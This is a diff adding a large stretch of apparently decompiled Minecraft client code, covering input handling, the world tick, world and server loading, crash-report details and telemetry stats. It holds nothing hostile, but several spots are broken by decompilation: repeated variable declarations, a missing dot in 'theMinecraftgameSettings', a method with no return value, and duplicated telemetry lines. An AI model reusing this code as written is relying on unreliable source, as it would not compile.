+        if (gameSettings.keyBindsHotbar[var1].isPressed())
+        {
+          if (thePlayer.func_175149_v())
+          {
+            ingameGUI.func_175187_g().func_175260_a(var1);
+          }
+          else
+          {
+            thePlayer.inventory.currentItem = var1;
+          }
+        }
+      }
+      
+      boolean var9 = gameSettings.chatVisibility != net.minecraft.entity.player.EntityPlayer.EnumChatVisibility.HIDDEN;
+      
+      while (gameSettings.keyBindInventory.isPressed())
+      {
+        if (playerController.isRidingHorse())
+        {
+          thePlayer.func_175163_u();
+        }
+        else
+        {
+          getNetHandler().addToSendQueue(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));
+          displayGuiScreen(new GuiInventory(thePlayer));
+        }
+      }
+      
+      while (gameSettings.keyBindDrop.isPressed())
+      {
+        if (!thePlayer.func_175149_v())
+        {
+          thePlayer.dropOneItem(GuiScreen.isCtrlKeyDown());
+        }
+      }
+      
+      while ((gameSettings.keyBindChat.isPressed()) && (var9))
+      {
+        displayGuiScreen(new GuiChat());
+      }
+      
+      if ((currentScreen == null) && (gameSettings.keyBindCommand.isPressed()) && (var9))
+      {
+        displayGuiScreen(new GuiChat("/"));
+      }
+      
+      if (thePlayer.isUsingItem())
+      {
+        if (!gameSettings.keyBindUseItem.getIsKeyPressed())
+        {
+          playerController.onStoppedUsingItem(thePlayer);
+        }
+        
+
+
+
+
+        while (gameSettings.keyBindAttack.isPressed()) {}
+        
+        while (gameSettings.keyBindUseItem.isPressed()) {}
+        
+
+
+
+
+
+        while (gameSettings.keyBindPickBlock.isPressed()) {}
+      }
+      
+
+
+
+
+
+
+
+
+
+      while (gameSettings.keyBindAttack.isPressed())
+      {
+        clickMouse();
+      }
+      
+      while (gameSettings.keyBindUseItem.isPressed())
+      {
+        rightClickMouse();
+      }
+      
+      while (gameSettings.keyBindPickBlock.isPressed())
+      {
+        middleClickMouse();
+      }
+      
+
+      if ((gameSettings.keyBindUseItem.getIsKeyPressed()) && (rightClickDelayTimer == 0) && (!thePlayer.isUsingItem()))
+      {
+        rightClickMouse();
+      }
+      
+      sendClickBlockToController((currentScreen == null) && (gameSettings.keyBindAttack.getIsKeyPressed()) && (inGameHasFocus));
+    }
+    
+    if (theWorld != null)
+    {
+      if (thePlayer != null)
+      {
+        joinPlayerCounter += 1;
+        
+        if (joinPlayerCounter == 30)
+        {
+          joinPlayerCounter = 0;
+          theWorld.joinEntityInSurroundings(thePlayer);
+        }
+      }
+      
+      mcProfiler.endStartSection("gameRenderer");
+      
+      if (!isGamePaused)
+      {
+        entityRenderer.updateRenderer();
+      }
+      
+      mcProfiler.endStartSection("levelRenderer");
+      
+      if (!isGamePaused)
+      {
+        renderGlobal.updateClouds();
+      }
+      
+      mcProfiler.endStartSection("level");
+      
+      if (!isGamePaused)
+      {
+        if (theWorld.func_175658_ac() > 0)
+        {
+          theWorld.setLastLightningBolt(theWorld.func_175658_ac() - 1);
+        }
+        
+        theWorld.updateEntities();
+      }
+    }
+    
+    if (!isGamePaused)
+    {
+      mcMusicTicker.update();
+      mcSoundHandler.update();
+    }
+    
+    if (theWorld != null)
+    {
+      if (!isGamePaused)
+      {
+        theWorld.setAllowedSpawnTypes(theWorld.getDifficulty() != EnumDifficulty.PEACEFUL, true);
+        
+        try
+        {
+          theWorld.tick();
+        }
+        catch (Throwable var8)
+        {
+          CrashReport var2 = CrashReport.makeCrashReport(var8, "Exception in world tick");
+          
+          if (theWorld == null)
+          {
+            CrashReportCategory var3 = var2.makeCategory("Affected level");
+            var3.addCrashSection("Problem", "Level is null!");
+          }
+          else
+          {
+            theWorld.addWorldInfoToCrashReport(var2);
+          }
+          
+          throw new ReportedException(var2);
+        }
+      }
+      
+      mcProfiler.endStartSection("animateTick");
+      
+      if ((!isGamePaused) && (theWorld != null))
+      {
+        theWorld.doVoidFogParticles(MathHelper.floor_double(thePlayer.posX), MathHelper.floor_double(thePlayer.posY), MathHelper.floor_double(thePlayer.posZ));
+      }
+      
+      mcProfiler.endStartSection("particles");
+      
+      if (!isGamePaused)
+      {
+        effectRenderer.updateEffects();
+      }
+    }
+    else if (myNetworkManager != null)
+    {
+      mcProfiler.endStartSection("pendingConnection");
+      myNetworkManager.processReceivedPackets();
+    }
+    
+    mcProfiler.endSection();
+    systemTime = getSystemTime();
+  }
+  
+
+
+
+  public void launchIntegratedServer(String folderName, String worldName, WorldSettings worldSettingsIn)
+  {
+    loadWorld(null);
+    System.gc();
+    ISaveHandler var4 = saveLoader.getSaveLoader(folderName, false);
+    WorldInfo var5 = var4.loadWorldInfo();
+    
+    if ((var5 == null) && (worldSettingsIn != null))
+    {
+      var5 = new WorldInfo(worldSettingsIn, folderName);
+      var4.saveWorldInfo(var5);
+    }
+    
+    if (worldSettingsIn == null)
+    {
+      worldSettingsIn = new WorldSettings(var5);
+    }
+    
+    try
+    {
+      theIntegratedServer = new IntegratedServer(this, folderName, worldName, worldSettingsIn);
+      theIntegratedServer.startServerThread();
+      integratedServerIsRunning = true;
+    }
+    catch (Throwable var10)
+    {
+      CrashReport var7 = CrashReport.makeCrashReport(var10, "Starting integrated server");
+      CrashReportCategory var8 = var7.makeCategory("Starting integrated server");
+      var8.addCrashSection("Level ID", folderName);
+      var8.addCrashSection("Level Name", worldName);
+      throw new ReportedException(var7);
+    }
+    
+    loadingScreen.displaySavingString(I18n.format("menu.loadingLevel", new Object[0]));
+    
+    while (!theIntegratedServer.serverIsInRunLoop())
+    {
+      String var6 = theIntegratedServer.getUserMessage();
+      
+      if (var6 != null)
+      {
+        loadingScreen.displayLoadingString(I18n.format(var6, new Object[0]));
+      }
+      else
+      {
+        loadingScreen.displayLoadingString("");
+      }
+      
+      try
+      {
+        Thread.sleep(200L);
+      }
+      catch (InterruptedException localInterruptedException) {}
+    }
+    
+
+
+
+    displayGuiScreen(null);
+    java.net.SocketAddress var11 = theIntegratedServer.getNetworkSystem().addLocalEndpoint();
+    NetworkManager var12 = NetworkManager.provideLocalClient(var11);
+    var12.setNetHandler(new NetHandlerLoginClient(var12, this, null));
+    var12.sendPacket(new C00Handshake(47, var11.toString(), 0, net.minecraft.network.EnumConnectionState.LOGIN));
+    var12.sendPacket(new C00PacketLoginStart(getSession().getProfile()));
+    myNetworkManager = var12;
+  }
+  
+
+
+
+  public void loadWorld(WorldClient worldClientIn)
+  {
+    loadWorld(worldClientIn, "");
+  }
+  
+
+
+
+  public void loadWorld(WorldClient worldClientIn, String loadingMessage)
+  {
+    if (worldClientIn == null)
+    {
+      NetHandlerPlayClient var3 = getNetHandler();
+      
+      if (var3 != null)
+      {
+        var3.cleanup();
+      }
+      
+      if ((theIntegratedServer != null) && (theIntegratedServer.func_175578_N()))
+      {
+        theIntegratedServer.initiateShutdown();
+        theIntegratedServer.func_175592_a();
+      }
+      
+      theIntegratedServer = null;
+      guiAchievement.clearAchievements();
+      entityRenderer.getMapItemRenderer().func_148249_a();
+    }
+    
+    field_175622_Z = null;
+    myNetworkManager = null;
+    
+    if (loadingScreen != null)
+    {
+      loadingScreen.resetProgressAndMessage(loadingMessage);
+      loadingScreen.displayLoadingString("");
+    }
+    
+    if ((worldClientIn == null) && (theWorld != null))
+    {
+      if (mcResourcePackRepository.getResourcePackInstance() != null)
+      {
+        mcResourcePackRepository.func_148529_f();
+        func_175603_A();
+      }
+      
+      setServerData(null);
+      integratedServerIsRunning = false;
+    }
+    
+    mcSoundHandler.stopSounds();
+    theWorld = worldClientIn;
+    
+    if (worldClientIn != null)
+    {
+      if (renderGlobal != null)
+      {
+        renderGlobal.setWorldAndLoadRenderers(worldClientIn);
+      }
+      
+      if (effectRenderer != null)
+      {
+        effectRenderer.clearEffects(worldClientIn);
+      }
+      
+      if (thePlayer == null)
+      {
+        thePlayer = playerController.func_178892_a(worldClientIn, new StatFileWriter());
+        playerController.flipPlayer(thePlayer);
+      }
+      
+      thePlayer.preparePlayerToSpawn();
+      worldClientIn.spawnEntityInWorld(thePlayer);
+      thePlayer.movementInput = new MovementInputFromOptions(gameSettings);
+      playerController.setPlayerCapabilities(thePlayer);
+      field_175622_Z = thePlayer;
+    }
+    else
+    {
+      saveLoader.flushCache();
+      thePlayer = null;
+    }
+    
+    System.gc();
+    systemTime = 0L;
+  }
+  
+  public void setDimensionAndSpawnPlayer(int dimension)
+  {
+    theWorld.setInitialSpawnLocation();
+    theWorld.removeAllEntities();
+    int var2 = 0;
+    String var3 = null;
+    
+    if (thePlayer != null)
+    {
+      var2 = thePlayer.getEntityId();
+      theWorld.removeEntity(thePlayer);
+      var3 = thePlayer.getClientBrand();
+    }
+    
+    field_175622_Z = null;
+    EntityPlayerSP var4 = thePlayer;
+    thePlayer = playerController.func_178892_a(theWorld, thePlayer == null ? new StatFileWriter() : thePlayer.getStatFileWriter());
+    thePlayer.getDataWatcher().updateWatchedObjectsFromList(var4.getDataWatcher().getAllWatched());
+    thePlayer.dimension = dimension;
+    field_175622_Z = thePlayer;
+    thePlayer.preparePlayerToSpawn();
+    thePlayer.func_175158_f(var3);
+    theWorld.spawnEntityInWorld(thePlayer);
+    playerController.flipPlayer(thePlayer);
+    thePlayer.movementInput = new MovementInputFromOptions(gameSettings);
+    thePlayer.setEntityId(var2);
+    playerController.setPlayerCapabilities(thePlayer);
+    thePlayer.func_175150_k(var4.func_175140_cp());
+    
+    if ((currentScreen instanceof GuiGameOver))
+    {
+      displayGuiScreen(null);
+    }
+  }
+  
+
+
+
+  public final boolean isDemo()
+  {
+    return isDemo;
+  }
+  
+  public NetHandlerPlayClient getNetHandler()
+  {
+    return thePlayer != null ? thePlayer.sendQueue : null;
+  }
+  
+  public static boolean isGuiEnabled()
+  {
+    return (theMinecraft == null) || (!theMinecraftgameSettings.hideGUI);
+  }
+  
+  public static boolean isFancyGraphicsEnabled()
+  {
+    return (theMinecraft != null) && (theMinecraftgameSettings.fancyGraphics);
+  }
+  
+
+
+
+  public static boolean isAmbientOcclusionEnabled()
+  {
+    return (theMinecraft != null) && (theMinecraftgameSettings.ambientOcclusion != 0);
+  }
+  
+
+
+
+  private void middleClickMouse()
+  {
+    if (objectMouseOver != null)
+    {
+      boolean var1 = thePlayer.capabilities.isCreativeMode;
+      int var3 = 0;
+      boolean var4 = false;
+      TileEntity var5 = null;
+      
+      Object var2;
+      if (objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK)
+      {
+        BlockPos var6 = objectMouseOver.func_178782_a();
+        Block var7 = theWorld.getBlockState(var6).getBlock();
+        
+        if (var7.getMaterial() == Material.air)
+        {
+          return;
+        }
+        
+        Object var2 = var7.getItem(theWorld, var6);
+        
+        if (var2 == null)
+        {
+          return;
+        }
+        
+        if ((var1) && (GuiScreen.isCtrlKeyDown()))
+        {
+          var5 = theWorld.getTileEntity(var6);
+        }
+        
+        Block var8 = ((var2 instanceof net.minecraft.item.ItemBlock)) && (!var7.isFlowerPot()) ? Block.getBlockFromItem((Item)var2) : var7;
+        var3 = var8.getDamageValue(theWorld, var6);
+        var4 = ((Item)var2).getHasSubtypes();
+      }
+      else
+      {
+        if ((objectMouseOver.typeOfHit != MovingObjectPosition.MovingObjectType.ENTITY) || (objectMouseOver.entityHit == null) || (!var1)) {
+          return;
+        }
+        
+        Object var2;
+        if ((objectMouseOver.entityHit instanceof EntityPainting))
+        {
+          var2 = Items.painting;
+        } else { Object var2;
+          if ((objectMouseOver.entityHit instanceof net.minecraft.entity.EntityLeashKnot))
+          {
+            var2 = Items.lead;
+          }
+          else if ((objectMouseOver.entityHit instanceof EntityItemFrame))
+          {
+            EntityItemFrame var11 = (EntityItemFrame)objectMouseOver.entityHit;
+            ItemStack var14 = var11.getDisplayedItem();
+            Object var2;
+            if (var14 == null)
+            {
+              var2 = Items.item_frame;
+            }
+            else
+            {
+              Object var2 = var14.getItem();
+              var3 = var14.getMetadata();
+              var4 = true;
+            }
+          }
+          else if ((objectMouseOver.entityHit instanceof EntityMinecart))
+          {
+            EntityMinecart var12 = (EntityMinecart)objectMouseOver.entityHit;
+            Object var2;
+            Object var2; Object var2; Object var2; Object var2; Object var2; switch (SwitchEnumMinecartType.field_178901_b[var12.func_180456_s().ordinal()])
+            {
+            case 1: 
+              var2 = Items.furnace_minecart;
+              break;
+            
+            case 2: 
+              var2 = Items.chest_minecart;
+              break;
+            
+            case 3: 
+              var2 = Items.tnt_minecart;
+              break;
+            
+            case 4: 
+              var2 = Items.hopper_minecart;
+              break;
+            
+            case 5: 
+              var2 = Items.command_block_minecart;
+              break;
+            
+            default: 
+              var2 = Items.minecart;
+              
+              break; } } else { Object var2;
+            if ((objectMouseOver.entityHit instanceof net.minecraft.entity.item.EntityBoat))
+            {
+              var2 = Items.boat;
+            } else { Object var2;
+              if ((objectMouseOver.entityHit instanceof EntityArmorStand))
+              {
+                var2 = Items.armor_stand;
+              }
+              else
+              {
+                var2 = Items.spawn_egg;
+                var3 = EntityList.getEntityID(objectMouseOver.entityHit);
+                var4 = true;
+                
+                if (!EntityList.entityEggs.containsKey(Integer.valueOf(var3)))
+                {
+                  return; }
+              }
+            }
+          }
+        } }
+      InventoryPlayer var13 = thePlayer.inventory;
+      
+      if (var5 == null)
+      {
+        var13.setCurrentItem((Item)var2, var3, var4, var1);
+      }
+      else
+      {
+        NBTTagCompound var15 = new NBTTagCompound();
+        var5.writeToNBT(var15);
+        ItemStack var17 = new ItemStack((Item)var2, 1, var3);
+        var17.setTagInfo("BlockEntityTag", var15);
+        NBTTagCompound var9 = new NBTTagCompound();
+        NBTTagList var10 = new NBTTagList();
+        var10.appendTag(new NBTTagString("(+NBT)"));
+        var9.setTag("Lore", var10);
+        var17.setTagInfo("display", var9);
+        var13.setInventorySlotContents(currentItem, var17);
+      }
+      
+      if (var1)
+      {
+        int var16 = thePlayer.inventoryContainer.inventorySlots.size() - 9 + currentItem;
+        playerController.sendSlotPacket(var13.getStackInSlot(currentItem), var16);
+      }
+    }
+  }
+  
+
+
+
+  public CrashReport addGraphicsAndWorldToCrashReport(CrashReport theCrash)
+  {
+    theCrash.getCategory().addCrashSectionCallable("Launched Version", new Callable()
+    {
+      private static final String __OBFID = "CL_00000643";
+      
+      public String call() {
+        return launchedVersion;
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("LWJGL", new Callable()
+    {
+      private static final String __OBFID = "CL_00000644";
+      
+      public String call() {
+        return Sys.getVersion();
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("OpenGL", new Callable()
+    {
+      private static final String __OBFID = "CL_00000645";
+      
+      public String call() {
+        return GL11.glGetString(7937) + " GL version " + GL11.glGetString(7938) + ", " + GL11.glGetString(7936);
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("GL Caps", new Callable()
+    {
+      private static final String __OBFID = "CL_00000646";
+      
+      public String call() {
+        return OpenGlHelper.func_153172_c();
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("Using VBOs", new Callable()
+    {
+      private static final String __OBFID = "CL_00000647";
+      
+      public String call() {
+        return gameSettings.field_178881_t ? "Yes" : "No";
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("Is Modded", new Callable()
+    {
+      private static final String __OBFID = "CL_00000633";
+      
+      public String call() {
+        String var1 = ClientBrandRetriever.getClientModName();
+        return Minecraft.class.getSigners() == null ? "Very likely; Jar signature invalidated" : !var1.equals("vanilla") ? "Definitely; Client brand changed to '" + var1 + "'" : "Probably not. Jar signature remains and client brand is untouched.";
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("Type", new Callable()
+    {
+      private static final String __OBFID = "CL_00000634";
+      
+      public String call() {
+        return "Client (map_client.txt)";
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("Resource Packs", new Callable()
+    {
+      private static final String __OBFID = "CL_00000635";
+      
+      public String call() {
+        return gameSettings.resourcePacks.toString();
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("Current Language", new Callable()
+    {
+      private static final String __OBFID = "CL_00000636";
+      
+      public String call() {
+        return mcLanguageManager.getCurrentLanguage().toString();
+      }
+      
+      public Object call1() {
+        return call();
+      }
+    });
+    theCrash.getCategory().addCrashSectionCallable("Profiler Position", new Callable()
+    {
+      private static final String __OBFID = "CL_00000637";
+      
+      public String call1() {
+        return mcProfiler.profilingEnabled ? mcProfiler.getNameOfLastSection() : "N/A (disabled)";
+      }
+      
+      public Object call() {
+        return call1();
+      }
+    });
+    
+    if (theWorld != null)
+    {
+      theWorld.addWorldInfoToCrashReport(theCrash);
+    }
+    
+    return theCrash;
+  }
+  
+
+
+
+  public static Minecraft getMinecraft()
+  {
+    return theMinecraft;
+  }
+  
+  public ListenableFuture func_175603_A()
+  {
+    addScheduledTask(new Runnable()
+    {
+      private static final String __OBFID = "CL_00001853";
+      
+      public void run() {
+        refreshResources();
+      }
+    });
+  }
+  
+  public void addServerStatsToSnooper(PlayerUsageSnooper playerSnooper)
+  {
+    playerSnooper.addClientStat("fps", Integer.valueOf(debugFPS));
+    playerSnooper.addClientStat("vsync_enabled", Boolean.valueOf(gameSettings.enableVsync));
+    playerSnooper.addClientStat("display_frequency", Integer.valueOf(Display.getDisplayMode().getFrequency()));
+    playerSnooper.addClientStat("display_type", fullscreen ? "fullscreen" : "windowed");
+    playerSnooper.addClientStat("run_time", Long.valueOf((MinecraftServer.getCurrentTimeMillis() - playerSnooper.getMinecraftStartTimeMillis()) / 60L * 1000L));
+    String var2 = ByteOrder.nativeOrder() == ByteOrder.LITTLE_ENDIAN ? "little" : "big";
+    playerSnooper.addClientStat("endianness", var2);
+    playerSnooper.addClientStat("resource_packs", Integer.valueOf(mcResourcePackRepository.getRepositoryEntries().size()));
+    int var3 = 0;
+    Iterator var4 = mcResourcePackRepository.getRepositoryEntries().iterator();
+    
+    while (var4.hasNext())
+    {
+      ResourcePackRepository.Entry var5 = (ResourcePackRepository.Entry)var4.next();
+      playerSnooper.addClientStat("resource_pack[" + var3++ + "]", var5.getResourcePackName());
+    }
+    
+    if ((theIntegratedServer != null) && (theIntegratedServer.getPlayerUsageSnooper() != null))
+    {
+      playerSnooper.addClientStat("snooper_partner", theIntegratedServer.getPlayerUsageSnooper().getUniqueID());
+    }
+  }
+  
+  public void addServerTypeToSnooper(PlayerUsageSnooper playerSnooper)
+  {
+    playerSnooper.addStatToSnooper("opengl_version", GL11.glGetString(7938));
+    playerSnooper.addStatToSnooper("opengl_vendor", GL11.glGetString(7936));
+    playerSnooper.addStatToSnooper("client_brand", ClientBrandRetriever.getClientModName());
+    playerSnooper.addStatToSnooper("launched_version", launchedVersion);
+    ContextCapabilities var2 = GLContext.getCapabilities();
+    playerSnooper.addStatToSnooper("gl_caps[ARB_arrays_of_arrays]", Boolean.valueOf(GL_ARB_arrays_of_arrays));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_base_instance]", Boolean.valueOf(GL_ARB_base_instance));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_blend_func_extended]", Boolean.valueOf(GL_ARB_blend_func_extended));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_clear_buffer_object]", Boolean.valueOf(GL_ARB_clear_buffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_color_buffer_float]", Boolean.valueOf(GL_ARB_color_buffer_float));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_compatibility]", Boolean.valueOf(GL_ARB_compatibility));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_compressed_texture_pixel_storage]", Boolean.valueOf(GL_ARB_compressed_texture_pixel_storage));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_compute_shader]", Boolean.valueOf(GL_ARB_compute_shader));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_copy_buffer]", Boolean.valueOf(GL_ARB_copy_buffer));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_copy_image]", Boolean.valueOf(GL_ARB_copy_image));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_depth_buffer_float]", Boolean.valueOf(GL_ARB_depth_buffer_float));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_compute_shader]", Boolean.valueOf(GL_ARB_compute_shader));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_copy_buffer]", Boolean.valueOf(GL_ARB_copy_buffer));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_copy_image]", Boolean.valueOf(GL_ARB_copy_image));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_depth_buffer_float]", Boolean.valueOf(GL_ARB_depth_buffer_float));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_depth_clamp]", Boolean.valueOf(GL_ARB_depth_clamp));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_depth_texture]", Boolean.valueOf(GL_ARB_depth_texture));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_draw_buffers]", Boolean.valueOf(GL_ARB_draw_buffers));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_draw_buffers_blend]", Boolean.valueOf(GL_ARB_draw_buffers_blend));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_draw_elements_base_vertex]", Boolean.valueOf(GL_ARB_draw_elements_base_vertex));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_draw_indirect]", Boolean.valueOf(GL_ARB_draw_indirect));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_draw_instanced]", Boolean.valueOf(GL_ARB_draw_instanced));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_explicit_attrib_location]", Boolean.valueOf(GL_ARB_explicit_attrib_location));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_explicit_uniform_location]", Boolean.valueOf(GL_ARB_explicit_uniform_location));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_fragment_layer_viewport]", Boolean.valueOf(GL_ARB_fragment_layer_viewport));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_fragment_program]", Boolean.valueOf(GL_ARB_fragment_program));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_fragment_shader]", Boolean.valueOf(GL_ARB_fragment_shader));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_fragment_program_shadow]", Boolean.valueOf(GL_ARB_fragment_program_shadow));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_framebuffer_object]", Boolean.valueOf(GL_ARB_framebuffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_framebuffer_sRGB]", Boolean.valueOf(GL_ARB_framebuffer_sRGB));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_geometry_shader4]", Boolean.valueOf(GL_ARB_geometry_shader4));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_gpu_shader5]", Boolean.valueOf(GL_ARB_gpu_shader5));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_half_float_pixel]", Boolean.valueOf(GL_ARB_half_float_pixel));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_half_float_vertex]", Boolean.valueOf(GL_ARB_half_float_vertex));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_instanced_arrays]", Boolean.valueOf(GL_ARB_instanced_arrays));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_map_buffer_alignment]", Boolean.valueOf(GL_ARB_map_buffer_alignment));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_map_buffer_range]", Boolean.valueOf(GL_ARB_map_buffer_range));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_multisample]", Boolean.valueOf(GL_ARB_multisample));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_multitexture]", Boolean.valueOf(GL_ARB_multitexture));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_occlusion_query2]", Boolean.valueOf(GL_ARB_occlusion_query2));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_pixel_buffer_object]", Boolean.valueOf(GL_ARB_pixel_buffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_seamless_cube_map]", Boolean.valueOf(GL_ARB_seamless_cube_map));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_shader_objects]", Boolean.valueOf(GL_ARB_shader_objects));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_shader_stencil_export]", Boolean.valueOf(GL_ARB_shader_stencil_export));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_shader_texture_lod]", Boolean.valueOf(GL_ARB_shader_texture_lod));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_shadow]", Boolean.valueOf(GL_ARB_shadow));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_shadow_ambient]", Boolean.valueOf(GL_ARB_shadow_ambient));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_stencil_texturing]", Boolean.valueOf(GL_ARB_stencil_texturing));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_sync]", Boolean.valueOf(GL_ARB_sync));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_tessellation_shader]", Boolean.valueOf(GL_ARB_tessellation_shader));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_texture_border_clamp]", Boolean.valueOf(GL_ARB_texture_border_clamp));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_texture_buffer_object]", Boolean.valueOf(GL_ARB_texture_buffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_texture_cube_map]", Boolean.valueOf(GL_ARB_texture_cube_map));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_texture_cube_map_array]", Boolean.valueOf(GL_ARB_texture_cube_map_array));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_texture_non_power_of_two]", Boolean.valueOf(GL_ARB_texture_non_power_of_two));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_uniform_buffer_object]", Boolean.valueOf(GL_ARB_uniform_buffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_vertex_blend]", Boolean.valueOf(GL_ARB_vertex_blend));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_vertex_buffer_object]", Boolean.valueOf(GL_ARB_vertex_buffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_vertex_program]", Boolean.valueOf(GL_ARB_vertex_program));
+    playerSnooper.addStatToSnooper("gl_caps[ARB_vertex_shader]", Boolean.valueOf(GL_ARB_vertex_shader));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_bindable_uniform]", Boolean.valueOf(GL_EXT_bindable_uniform));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_blend_equation_separate]", Boolean.valueOf(GL_EXT_blend_equation_separate));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_blend_func_separate]", Boolean.valueOf(GL_EXT_blend_func_separate));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_blend_minmax]", Boolean.valueOf(GL_EXT_blend_minmax));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_blend_subtract]", Boolean.valueOf(GL_EXT_blend_subtract));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_draw_instanced]", Boolean.valueOf(GL_EXT_draw_instanced));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_framebuffer_multisample]", Boolean.valueOf(GL_EXT_framebuffer_multisample));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_framebuffer_object]", Boolean.valueOf(GL_EXT_framebuffer_object));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_framebuffer_sRGB]", Boolean.valueOf(GL_EXT_framebuffer_sRGB));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_geometry_shader4]", Boolean.valueOf(GL_EXT_geometry_shader4));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_gpu_program_parameters]", Boolean.valueOf(GL_EXT_gpu_program_parameters));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_gpu_shader4]", Boolean.valueOf(GL_EXT_gpu_shader4));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_multi_draw_arrays]", Boolean.valueOf(GL_EXT_multi_draw_arrays));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_packed_depth_stencil]", Boolean.valueOf(GL_EXT_packed_depth_stencil));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_paletted_texture]", Boolean.valueOf(GL_EXT_paletted_texture));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_rescale_normal]", Boolean.valueOf(GL_EXT_rescale_normal));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_separate_shader_objects]", Boolean.valueOf(GL_EXT_separate_shader_objects));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_shader_image_load_store]", Boolean.valueOf(GL_EXT_shader_image_load_store));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_shadow_funcs]", Boolean.valueOf(GL_EXT_shadow_funcs));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_shared_texture_palette]", Boolean.valueOf(GL_EXT_shared_texture_palette));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_stencil_clear_tag]", Boolean.valueOf(GL_EXT_stencil_clear_tag));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_stencil_two_side]", Boolean.valueOf(GL_EXT_stencil_two_side));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_stencil_wrap]", Boolean.valueOf(GL_EXT_stencil_wrap));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_texture_3d]", Boolean.valueOf(GL_EXT_texture_3d));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_texture_array]", Boolean.valueOf(GL_EXT_texture_array));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_texture_buffer_object]", Boolean.valueOf(GL_EXT_texture_buffer_object));
